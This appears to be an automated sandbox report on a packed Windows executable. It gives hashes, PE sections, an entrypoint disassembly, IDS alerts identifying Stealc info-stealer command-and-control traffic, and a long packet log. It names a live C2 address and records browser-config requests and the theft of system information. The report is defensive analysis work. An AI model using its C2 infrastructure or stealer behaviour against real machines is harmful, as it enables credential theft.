0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.958606816873537
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'153'984 bytes
MD5:	b0f2e98c3fea556c75a29c5325160f58
SHA1:	859b2ae0eebc20ec4af6ce55646e38a919289622
SHA256:	2318713a51559dfd0af2ff68b596f7121e76659764a5df406d5950e0e755cf54
SHA512:	48ba9cc365e32f8c4cc72d391122f2994b19e6ce7cff75ee9072b677330bfa8498f676fd0b66fba2f588e5d46c87c640fd63276f626eaedd62d539fb6a24f9a6
SSDEEP:	49152:pZR4mqwY06pQkFquznVOIN6ioLpObkclyEaLAORfCG9:elwYpFFPVOI0HprWyFcG
TLSH:	CEA5332C769189AADE1DEC35541BD382721A6146E350C664AC7962BFC078FF7FD4F022
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb3a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F29B48E7C3Ah
bsf esp, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
in al, dx
out 2Bh, al
or eax, dword ptr [eax]
add byte ptr [eax], al
xor al, 00h
int3
cmp eax, FFFFF800h
cmp byte ptr [esp+ebx*4+17h], ch
add byte ptr [eax], al
add byte ptr [eax+00008001h], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [edi-6F4BF13Ah], ah
push 14CD420Fh
push ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	e15278c26404e81e306ae2107f13556a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2ac000	0x200	d04e369655d37f76cb9849545060cea5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qjfwfzym	0x596000	0x1a3000	0x1a2e00	3f091bdc8a72653f8987488d3e75ba48	False	0.9948359631453297	OpenPGP Secret Key	7.953652155479006	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mmzyrysa	0x739000	0x1000	0x400	7c7a666ea25a425999dcfe2aa469c2dd	False	0.8125	data	6.296975837822945	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x73a000	0x3000	0x2200	0f9f5bd9cac7e315db0d8ac5bbed9e37	False	0.06537224264705882	DOS executable (COM)	0.8510988647478359	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T04:34:12.184914+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T04:34:12.476303+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T04:34:12.484114+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49710	TCP
2024-10-30T04:34:12.765897+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T04:34:12.829587+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49710	TCP
2024-10-30T04:34:13.932422+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T04:34:14.521229+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T04:34:38.934285+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50987	185.215.113.206	80	TCP
2024-10-30T04:34:42.477469+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50987	185.215.113.206	80	TCP
2024-10-30T04:34:44.518828+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50987	185.215.113.206	80	TCP
2024-10-30T04:34:45.595654+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50987	185.215.113.206	80	TCP
2024-10-30T04:34:47.714924+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50987	185.215.113.206	80	TCP
2024-10-30T04:34:48.193072+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50987	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 04:34:06.178092957 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 04:34:06.178136110 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 04:34:06.178253889 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 04:34:06.179174900 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 04:34:06.179193974 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 04:34:06.872653961 CET	49673	443	192.168.2.6	173.222.162.64
Oct 30, 2024 04:34:06.872685909 CET	49674	443	192.168.2.6	173.222.162.64
Oct 30, 2024 04:34:07.200797081 CET	49672	443	192.168.2.6	173.222.162.64
Oct 30, 2024 04:34:07.297174931 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 04:34:07.297272921 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 04:34:07.300712109 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 04:34:07.300723076 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 04:34:07.301038027 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 04:34:07.304548025 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 04:34:07.304622889 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 04:34:07.304629087 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 04:34:07.304769993 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 04:34:07.351332903 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 04:34:07.554872990 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 04:34:07.558063030 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 04:34:07.558074951 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 04:34:07.558094978 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 04:34:07.558145046 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 04:34:10.943360090 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:10.948966980 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:10.949055910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:10.949690104 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:10.955060005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:11.880636930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:11.880752087 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:11.884604931 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:11.890126944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.184770107 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.184914112 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.186218977 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.191572905 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.476234913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.476253986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.476303101 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.476342916 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.477586985 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.484113932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.765749931 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.765774012 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.765789986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.765805960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.765901089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.765897036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.765916109 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.765930891 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.765973091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:12.765980959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.765980959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.765981913 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.765981913 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.766014099 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.824162960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:12.829586983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:13.112096071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:13.112240076 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:13.129081011 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:13.129148006 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:13.135484934 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:13.135518074 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:13.135545969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:13.135576010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:13.135617018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:13.135894060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:13.174664021 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:13.174762964 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:13.174851894 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:13.175154924 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:13.175188065 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:13.915209055 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:13.915328979 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:13.918566942 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:13.918580055 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:13.918911934 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:13.928962946 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:13.932326078 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:13.932421923 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:13.971342087 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.148619890 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.148652077 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.148673058 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.148714066 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.148742914 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.148768902 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.148787022 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.175179958 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.175210953 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.175290108 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.175333977 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.175364971 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.175386906 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.235881090 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.241307974 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.266072035 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.266098022 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.266182899 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.266206980 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.266235113 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.266252995 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.292290926 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.292318106 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.292376995 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.292432070 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.292463064 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.292481899 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.294589996 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.294606924 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.294672012 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.294688940 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.294739962 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.331516981 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.331535101 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.331619024 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.331645966 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.331676006 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.331696987 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.383423090 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.383440018 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.383547068 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.383603096 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.383661032 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.408410072 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.408476114 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.408504963 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.408515930 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.408541918 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.408560038 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.409660101 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.409677029 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.409739017 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.409746885 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.409786940 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.410793066 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.410809040 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.410860062 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.410866022 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.410892010 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.410907030 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.412530899 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.412548065 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.412619114 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.412632942 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.412671089 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.449090958 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.449109077 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.449220896 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.449242115 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.449285030 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.500462055 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.500500917 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.500550032 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.500556946 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.500600100 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.500627041 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.500629902 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.500631094 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.500679970 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.500827074 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.500889063 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.500925064 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.500940084 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.521132946 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.521153927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.521188974 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.521203995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.521220922 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.521229029 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.521275997 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.521579027 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.521594048 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.521609068 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.521621943 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.521655083 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.522007942 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.522022009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.522053003 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.522233009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.522254944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.522272110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.522273064 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.522286892 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.522301912 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.522301912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.522330046 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.522361040 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.552999973 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.553020954 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.553040981 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.553050041 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.553133965 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.553683996 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.553683996 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.553698063 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.553834915 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.553848982 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.555150986 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.555165052 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.555223942 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.555349112 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.555363894 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.556406975 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.556421041 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.556483984 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.557090998 CET	49716	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.557130098 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.557179928 CET	49716	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.557255030 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.557269096 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.557358980 CET	49716	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:14.557373047 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:14.678838015 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.678946972 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.678970098 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.678983927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.679001093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.679008007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.679018021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.679024935 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.679048061 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.679059982 CET	49710	80	192.168.2.6	185.215.113.206
